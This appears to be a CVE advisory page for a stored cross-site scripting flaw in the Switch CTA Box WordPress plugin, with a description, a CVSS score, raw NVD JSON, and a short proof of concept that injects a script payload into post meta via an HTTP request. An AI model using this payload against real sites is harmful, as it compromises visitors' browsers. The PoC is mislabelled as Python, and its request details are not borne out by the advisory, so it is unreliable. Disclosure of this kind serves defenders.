Security Vulnerability Report
中文
CVE-2026-4088 CVSS 6.4 MEDIUM

CVE-2026-4088

Published: 2026-04-22 09:16:23
Last Modified: 2026-04-22 20:22:51

Description

The Switch CTA Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wppw_cta_box' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user-supplied post meta values including 'cta_box_button_link', 'cta_box_button_id', 'cta_box_button_text', and 'cta_box_description'. The shortcode reads post meta from a user-specified post ID and echoes these values directly into HTML output without any escaping functions (no esc_attr(), esc_url(), or esc_html()). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Switch CTA Box <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-4088 (Switch CTA Box Stored XSS) * Preconditions: Contributor access or higher * Vulnerable fields: cta_box_button_link, cta_box_button_id, cta_box_button_text, cta_box_description */ // Step 1: Attacker updates the post meta with a malicious payload // Target field: cta_box_button_text // Payload: "><script>alert('XSS')</script> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-wordpress.com Content-Type: application/x-www-form-urlencoded action=update_meta&meta_key=cta_box_button_text&meta_value="><script>alert(1)</script>&post_id=1 // Step 2: Insert the shortcode into a post content [wppw_cta_box id=1] // Step 3: When a user views the post, the script executes.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4088", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:22.560", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Switch CTA Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wppw_cta_box' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user-supplied post meta values including 'cta_box_button_link', 'cta_box_button_id', 'cta_box_button_text', and 'cta_box_description'. The shortcode reads post meta from a user-specified post ID and echoes these values directly into HTML output without any escaping functions (no esc_attr(), esc_url(), or esc_html()). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/tags/1.1/inc/box_display_template.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/tags/1.1/inc/box_display_template.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/tags/1.1/inc/box_display_template.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/tags/1.1/inc/shortcode_setup.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/trunk/inc/box_display_template.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/trunk/inc/box_display_template.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/trunk/inc/box_display_template.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/switch-cta-box/trunk/inc/shortcode_setup.php#L8", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/19a3fc90-b81c-4451-80e0-cead99a2dcd9?source=cve", "source": "[email protected]"}]}}